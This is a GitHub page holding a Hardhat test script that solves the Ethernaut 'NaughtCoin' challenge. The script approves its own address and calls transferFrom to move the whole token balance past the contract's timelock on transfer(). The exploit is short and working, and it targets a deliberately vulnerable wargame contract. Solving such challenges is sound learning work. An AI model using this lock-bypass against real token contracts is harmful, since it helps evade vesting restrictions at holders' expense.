-
Notifications
You must be signed in to change notification settings - Fork 28
/
15-naught-coin.ts
36 lines (31 loc) · 1.11 KB
/
15-naught-coin.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import { expect } from "chai";
import { BigNumber, Contract, Signer } from "ethers";
import { ethers } from "hardhat";
import { createChallenge, submitLevel } from "./utils";
let accounts: Signer[];
let eoa: Signer;
let attacker: Contract;
let challenge: Contract; // challenge contract
let tx: any;
before(async () => {
accounts = await ethers.getSigners();
[eoa] = accounts;
const challengeFactory = await ethers.getContractFactory(`NaughtCoin`);
const challengeAddress = await createChallenge(
`0x096bb5e93a204BfD701502EB6EF266a950217218`
);
challenge = await challengeFactory.attach(challengeAddress);
});
it("solves the challenge", async function () {
const eoaAddress = await eoa.getAddress()
const balance = await challenge.balanceOf(eoaAddress)
console.log(`balance`, balance.toString())
tx = await challenge.approve(eoaAddress, balance)
await tx.wait()
const SINK = `0x0000000000000000000000000000000000000001`
tx = await challenge.transferFrom(eoaAddress, SINK, balance)
await tx.wait()
});
after(async () => {
expect(await submitLevel(challenge.address), "level not solved").to.be.true;
});